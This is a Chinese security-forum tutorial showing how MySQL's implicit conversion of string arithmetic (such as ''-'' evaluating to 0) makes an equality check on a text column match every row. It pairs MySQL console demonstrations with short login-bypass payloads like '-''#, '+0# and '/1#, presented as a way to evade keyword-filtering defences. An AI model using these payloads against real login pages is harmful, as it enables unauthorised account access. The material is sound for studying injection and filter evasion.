找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2335|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。$ T# M2 ?. I9 \- Z( _* L* j# G
有以下表结构: " |& |# {' ~) T# Q( S9 L  g& a
3 t/ \# O( t2 s+ a! x! z+ T
mysql> desc admin;6 V4 F5 Y& p& q3 j
+----------+--------------+------+-----+---------+----------------+( Y- v+ ~/ x8 z( q$ q4 m! S
| Field    | Type         | Null | Key | Default | Extra          |" d! f+ |* J, `9 P. P
+----------+--------------+------+-----+---------+----------------+' I; ?$ r/ `5 w8 a! O+ ~% y2 b" V
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
  Q% P; z  S2 B2 d" \| name     | char(32)     | NO   | UNI | NULL    |                |
7 h8 L' C/ |  C$ n1 H7 x| password | char(32)     | NO   | UNI | NULL    |                |" D* x) Z% s' V8 f
+----------+--------------+------+-----+---------+----------------+
0 L, H8 u' J4 V, B. A, M$ t$ H3 rows in set (0.00 sec)
' c) j- L/ q( n4 d执行select * from admin;,成功返回所有记录内容。
1 w1 _$ Q0 C- g* M2 Q  C6 ?) c, }5 k/ g4 J0 c/ J5 e

( V  X( y" q+ {6 C+----+--------+----------------------------------+4 k, m% E( H# u
| id | name   | password                         |
+ Q7 S$ |% ?) A2 F+----+--------+----------------------------------+! C# T+ ]& I2 q, H- ]
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
2 _; E' U" a5 \8 s$ M|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- ~0 D9 q$ ?( }8 l|  4 | n00b   | ff80e8508d39047460921792273533a4 |
5 I- B2 i; y$ j: w6 y, }5 l- u+----+--------+----------------------------------+
. G  j% T" r  Y1 Y  |3 rows in set (0.00 sec)
3 Q) P5 z7 J5 ^# H0 P  P+ ~执行select * from admin where name=”;,没有匹配到任何记录。 2 S' C0 E6 ^/ L! m% r6 z. G/ l; A
' {6 ]: R7 v7 k- r
mysql> select * from admin where name = '';2 [6 U  }& F: f. i: d/ ?
Empty set (0.00 sec)$ i+ V8 W- e' `6 q( e) m
那么我们来执行select * from admin where name = ”-”;
; p8 i, O$ l/ R5 p# U! P6 y5 V/ t6 O9 I
+ d6 z: b2 T" X1 G' f, ^
+----+--------+----------------------------------+3 b0 a2 B8 G( n7 W1 ?
| id | name   | password                         |( A1 e. y1 r1 x' n
+----+--------+----------------------------------+& c( L2 {8 s2 s. U1 r
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |$ W' D# y& ^' B: F4 Z
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* i: t9 {* g! o* e|  4 | n00b   | ff80e8508d39047460921792273533a4 |
- q/ h" L2 d3 I1 T  a+----+--------+----------------------------------+
, G0 L( K/ b9 `/ _$ H3 rows in set, 3 warnings (0.00 sec)
: W6 R$ a& i1 X可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
1 F# ]5 i! w; H* h# X
1 w% O: d: Z/ X9 amysql> show warnings;" g- B" g2 e) O, ~0 y; D5 _7 @/ |
+---------+------+------------------------------------------. ~2 q4 v# |) C9 `
| Level   | Code | Message
, w6 k! k2 r3 q9 A. S' Y. c3 U+---------+------+------------------------------------------2 M  e4 A" f# q* }* U% |4 \
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
. k* y) }1 ~. x) T. h| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
* r" W( b. H4 F6 w. ~) i| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
; a. y" @2 b9 U5 p) C+---------+------+------------------------------------------6 O+ b& _; i% U+ \
3 rows in set (0.00 sec)
: |9 P. n! ], s7 m2 Z提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ' l! |9 e8 m3 f+ t- ~

# r& V, ~5 d1 {  w; Fmysql> select ''-'';
5 Q+ h' P: j9 R% U+-------+6 M& p/ `; y6 c8 [+ _4 x
| ''-'' |! N1 q5 W* ~% e& p% e
+-------+3 E* w2 m5 b: S! `9 z& H$ \
|     0 |# K( w6 ~  ~5 P( b
+-------+" H' l6 M# c0 y# `6 k6 `4 j0 ?4 F
1 row in set (0.00 sec)( _& y: W+ ~+ m/ p1 A
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
& ~. H, G- c2 t9 k4 n9 d8 b; z% Q- K3 C3 |3 r$ K
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
" a  s" C3 U' E8 V) h$ O$ m# B+-----------------------------------------------------+2 A2 r2 b6 ^& |5 F1 ?, A' |! V& F# j
| CAST((select name from admin limit 1,1) as DECIMAL) |7 s8 a7 V3 ~7 X: F, W& o& q/ e
+-----------------------------------------------------+
/ w4 B/ L3 Z& P! ^- C' O+ [|                                                   0 |
& J! |5 }, I. a! t* z) I+-----------------------------------------------------+
9 P1 Z9 u4 `7 R: }, s" U1 row in set, 1 warning (0.00 sec)
( ~( ^0 C2 ^) b( r因此where语句构成了相等的条件,where 0=”=”,记录被返回。 $ y6 D) y- v- O4 e) T

7 F" @' I/ |+ A5 E! p: FSQL注入场景: http://www.sqlzoo.net/hack/ 2 D1 h5 V: L' t$ T4 u! v9 @
9 H; o  ~- _& O, ^% ^$ v) {# z

2 D/ A& s  H5 X8 o+ i
4 }# v! w  _2 k$ C: o
& W1 g- o* y& C) V  P* y& s5 x如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
. K3 v, Z. g/ O0 [' G2 s: N' i8 q. E. v2 C: m, q6 e
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 8 h3 w# d/ f( h  r; n

- H/ u: k1 @8 d2 e5 v: I4 q
- r) o/ o9 ~& r0 d, u  j  \, w  i# N- h1 r: j

$ u. f/ U' S9 S仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 . z2 W% B% E2 n+ a
) f6 H, X( b$ |  Z& c! i
   $ T" O& i2 A" A
# Q0 o* G5 S* y* L) N  X
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
; X  g$ U7 a! C  i- Z
; l. Z; f  e/ _' x% u" i& k' {
6 y5 i8 @0 t3 X0 c. emysql> select ''/1;
+ g, A8 L$ d4 w- }2 w9 R% o+------+9 [6 V2 y3 h* _  s0 L
| ''/1 |
# O' K" @4 c% m% P' G$ u+------+
8 F$ A; m7 O- @7 A9 _|    0 |
; ?+ |& ~, L. c/ I" p- s. ~+------+
: w' e9 R( J" s: k1 row in set (0.00 sec)  X9 T3 K8 y: l: A" k5 T- Y5 l
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
4 M4 j8 U5 Q2 v' M+ O, q8 F& M% x: n, {7 Q( q  D0 x( B% |
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
4 Z6 U' L+ U2 F9 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表